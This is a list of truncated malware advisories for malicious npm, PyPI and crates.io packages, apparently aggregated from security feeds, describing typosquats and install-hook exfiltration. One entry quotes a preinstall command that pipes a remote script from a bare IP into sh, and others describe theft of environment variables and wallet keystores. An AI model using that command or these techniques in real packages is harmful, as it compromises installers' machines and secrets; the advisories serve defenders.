Malicious code in jsb-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 368bba2e9d134a0d1ce565627644361ebe98bbf7bc2fd04812ff7137c300eaac package.json declares a dependency whose key jsb-adapter equals this package's own name and whose value is the bare HTTPS URL...

Malicious code in mintel-taskbar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5ebda78171ac8816c0e350f84923af0bad54c075f91cfcc1a7bcc26d36674c4f package.json line 11 declares the package's own name 'mintel-taskbar' as a dependency whose source is the bare HTTPS URL...

Malicious code in sycm-vendors (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6a876475c44d594b90a19bc6c9bb3d5be6f6d0a19091218ef5e03f92e1b86e1 package.json declares a self-named dependency 'sycm-vendors' whose source is the bare URL https://repo.securityctrl.com/sycm-vendors rather than a...

Malicious code in nx-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8671a9b563cebe9de36365a80edc1f242be492933cadb3e45ea590c8c5e1e115 package.json declares its own name nx-app as a dependency whose value is a raw HTTPS URL https://repo.securityctrl.com/nx-app rather than a semver...

Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

Malicious code in 3layerdipstacktfieac (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7bf372a98946f7fce4deb5f9315c4755a76a5cca6d65bcdc0922607134098308 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackx26ujd (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f57a42f34ad8c4b965d14fcd2b083bb8b62568be8ff52fb8b1f3cb5e77ec0bf1 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstack1lkqg9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3055362817a22386f2c0e5db959db42444b9c60d620c9c8453ee196a1d0e8fe The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstack1ykdgn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eabe62f28af88a694847d251ec0545bcdfe498e5bf37df3e5d32552bfd10aae3 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackvtd7og (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 37994d3d03c7446f5f3251b1c84421b04e4cc0287ee51e7051a89fea429c79ad The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackd8ze8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c061d4cc1b61f20a61084a2c81b899987a5bfb31033147c9de24ec914e8c509b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in 3layerdipstackaho91u (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d097f3bd0a82ff101eb84c4fb5df2093fc6b3d76df4ba60f21f059d418771f6e The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackrh52pp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 68b09cfacbde84f37d4862c574e87d121c81f7079759aec1709ec61d6a49e12a The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in classlink-5bhzaaq2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 56a31797e45409d53c81c5fd1c13bafbd1003278f04e48e54b8f9879924d629d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in dim-hydration-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3fefcd7c94e6eed5b5a69ce9ad5f4489c6532472ec604e6d15e5a96f63c59e51 The package is presented in its README as a set of day-math primitives, but dist/index.mjs runs a top-level async IIFE on import that chmod 0755's...

Malicious code in sm-admin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...

Malicious code in hydration-dim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3659ec02e8317602c089b822a4a0533bee515d9666d07fdaf3cdf8b315a46147 On import, dist/index.mjs verifies a SHA-256 digest of a bundled Linux x8664 ELF at dist/internal/calc.dat, chmods it to 0755, and spawns it detached...

Malicious code in create-coin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d92da1d80f455caae769107e4b3ff99c003a296f1238728cfc5521d5be06c380 Package [email protected] registers a postinstall hook that runs build/payload.node.js during npm install. The script performs anti-analysis guards...

Malicious code in chai-as-testkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bf8ab4a811449bd1ba40c637a0eebc0569994d3a3550cf7156c36192abcec31 The package is published as 'chai-as-testkit' with a description referencing vulnerability management, but the tarball ships pino's README, docs/,...

Malicious code in @next-fonts/font (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e536e77176d5fb4637105c50280763e82a6a273dd7de35bb82da340b0f71163 @next-fonts/font is a typosquat of Next.js's @next/font. Its exported Inter function mimicking next/font/google decodes a base64 blob via atob, then...

Malicious code in test-flow-entire6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9f48cc690ceb502d2127045e27bfbdd18d18fe3cddb67eaaed906e75c7b735cc The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in expect-dotenv (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ffc39d28e4d33afe723182c097769f087bf528732e5468b1511bf2bff41db01e The package's main entry runs a worker that performs an HTTPS GET to https://realase-0626.vercel.app/api/v1 and passes the response's parser string...

Malicious code in aronenao (crates.io)

aronenao is a malicious crate published to crates.io as part of the coordinated build-time payload campaign on 2026-08-20 that trojanized arrayref, internment, and append-only-vec and published the proc-macro1 typosquat of proc-macro2. It was used as an attacker-controlled dependency carrying a...

Malicious code in mc-provider (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e494af2871662b1b342a26141de010623484dfef353b505805f4b41d85d775c1 Package metadata describes mc-provider as 'Theta chain registry ⚛️' and the README is a verbatim copy of the hyperweb-io/chain-registry README...

Malicious code in evm-validation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d3c551a6031e48a54b550a604e2198a4491cf935407744bba8ef0c11c54086c4 The package advertises EVM address validation but performs no local validation. Its single exported function validatede in index.js issues axios.get...

Malicious code in neverthrow-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da6f9496a578c672b465944e85c471edd19ce837ec7693d472d6c4a3ea3733a7 [email protected] is a typosquat of the popular neverthrow library. Its package.json declares a preinstall script node -e...

Malicious code in minequest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54dfa76784b35d5d63fa89a85c071e83d21e55291871b40627c36015291f24a1 package.json declares a postinstall hook running scripts/init.js, which chmod 0755's assets/thanks-amd64.elf and execFileSync's it on Linux x64 durin...

Malicious code in o0o9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1d425848ef7172faf5f84ff9bd9017bf3ab1eb2343a5301ff0df1711d091118 The package's main entry index.js imports childprocess at the top of the file and invokes spawn"powershell",... as a top-level side effect line 27...

Malicious code in gemini-cli-a2a-server (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5eb13d8d28e4c8363ceabe294b988cd42a82f1875af3f2a30310232154664afd On npm install, the package's postinstall script collects host identifiers os.hostname, platform, arch, Node version, and package/lifecycle metadata...

Malicious code in @sarex-team/ui-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 722e658713ad538fe6719d893d48c6bbea0c6cb84133e3a0010ef564ca6a1ec7 @sarex-team/ui-kit runs a DNS-based out-of-band exfiltration beacon on both npm install via package.json scripts.install = node index.js and on...

Malicious code in chalk-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57cc6705c0b1dabca055a6531e36802822a4441a367459efb4ba8ecbc4a92ce5 chalk-lib is a typosquat of the popular chalk package with an empty library body index.js exports whose entire effect is the postinstall lifecycle...

Malicious code in comander-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19734d8bfb929b0c1049b6220271fabaa91603506cdcb6424e67988519da9a6e [email protected] is a typosquat of commander with an empty index.js and no native sources. Its scripts/postinstall.js runs automatically on npm...

Malicious code in axois-http (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 69703c3a809c078834e321ae3777e144413bcef3d17ea7a712d6108f9ca34885 axois-http is a typosquat of axios index.js exports an empty object. Its scripts/postinstall.js unconditionally POSTs a JSON body containing a...

Malicious code in test-npm-snurkeburk-hackerone (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0397c2435e4a2a4b33ec6cc8e396eacfa099aea042b3da6e70d96d86ea53a460 The package's preinstall lifecycle hook runs node index.js, which shells out to collect installer host identifiers hostname, cwd, whoami and the...

Malicious code in typescipt-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b080f58ace02e860729134afd887943345248628e5c201a5fd2e46c71f439d29 Package name typosquats 'typescript'. scripts/postinstall.js runs at npm install time and: 1 POSTs a JSON body with the installer's platform label to...

Malicious code in reqcrypt (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 152e5cdb52328dccd4eb61462c930b56f456dbdf759f0ce3005da3a7ecf4b688 reqcrypt presents itself as a general-purpose HTTP client, but its internal PayloadProcessor unconditionally inspects every HTTP response for JSON ke...

Malicious code in bcc-design-icons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f25ef58a44d6da495f8f9cd06686303901d391069000f5a10d09694b68241e2 [email protected] declares a postinstall script node./notify.js that runs automatically on npm install. The script performs an HTTP GET to th...

Malicious code in socks5901 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e6184fc1c33621ffa99f06b96ac94f05944bc3c7b431243e50ede0bb396e7dd3 During import, package exfiltrates all files from "/sdcard/" --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in leb128x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fb3862797564b06cd20320cecbdadcdd30bd5506e9afc09ed1f2ce225c22e5c8 The package presents itself as a LEB128 encoding utility, but index.js unconditionally requires perf.js, which on load reads /.sui/sui.keystore,...

Malicious code in reseller-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f5e549688dcd67cfcc86be1c65c7831f7c730036626c41484332cf7dca2d7fee Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @ferudionz/webautomation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a55c1cc52c2e4580b15c1b9e32b436719687f489ee4ee55686aec1ec9a3adc59 The npm package @ferudionz/webautomation exposes a single function connetx whose sole behavior is to POST the caller-supplied argument to a hardcoded...

Malicious code in axios-fast (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9cc76e819084a35126e067bd65bd3cf2fc52b6d8e068b67d14360ef71505fa7e [email protected] declares a preinstall lifecycle script in package.json that runs a Node one-liner which POSTs the entire process.env of the installi...

Malicious code in datefmt-core-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 360a94a10ce13edded9e4a99c7c01de1ebfdd73a9af4ec49260f2cec165a609b The package advertises itself as a date-formatting utility but ships a postinstall.js that npm auto-executes on install via scripts.postinstall...

Malicious code in alelo-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f1e53c8bced61d4dfbd9121821219a5c35f2a7f273f06e9e2cfd628f509341f The package auto-executes exfiltration code during npm install via preinstall and postinstall lifecycle scripts. preinstall.js collects the hostname,...

Malicious code in tailwind-toolkit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector afeb355b3088d1c03dbbb5a60c1afea5afbe3a384f50417ae6cfa7340d8c072d The package presents itself as a Tailwind CSS plugin, but its default export which runs when users register it in tailwind.config issues an HTTPS...

Malicious code in alelo-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d98bac664d9feb9d1d326fb6d724b9a62631267258ae81e69c5b4c0a057ba0f6 The package runs malicious lifecycle scripts on npm install. preinstall.js collects hostname, username, platform, cwd, and the entire process.env, th...

Malicious code in notafollower1226 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdc72e98071e37ff58c3bb327f995c9c586b81a22180a8004b6564026cbc629f The package.json postinstall script auto-executes on npm install. It queries the ECS container metadata endpoint ECSCONTAINERMETADATAURIV4/task to...

Malicious code in notafollower122 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83409fb8c0dc76764a944064219de6a4d59d6b24413db5e36d897681f3183add package.json declares a postinstall lifecycle script that runs automatically on npm install. The script uses childprocess to query the AWS ECS...

Malicious code in npm_pkg_1094 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fe875cbf7a0714bb15d688c4eeba441eb6d7f02a73dd3657c11ade00e64bbc00 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in elf-stats-cranberry-wishlist-933 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6fcbc300aedf740c98f076d87915e27c394b15951161ba52fb5a0583b9585770 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...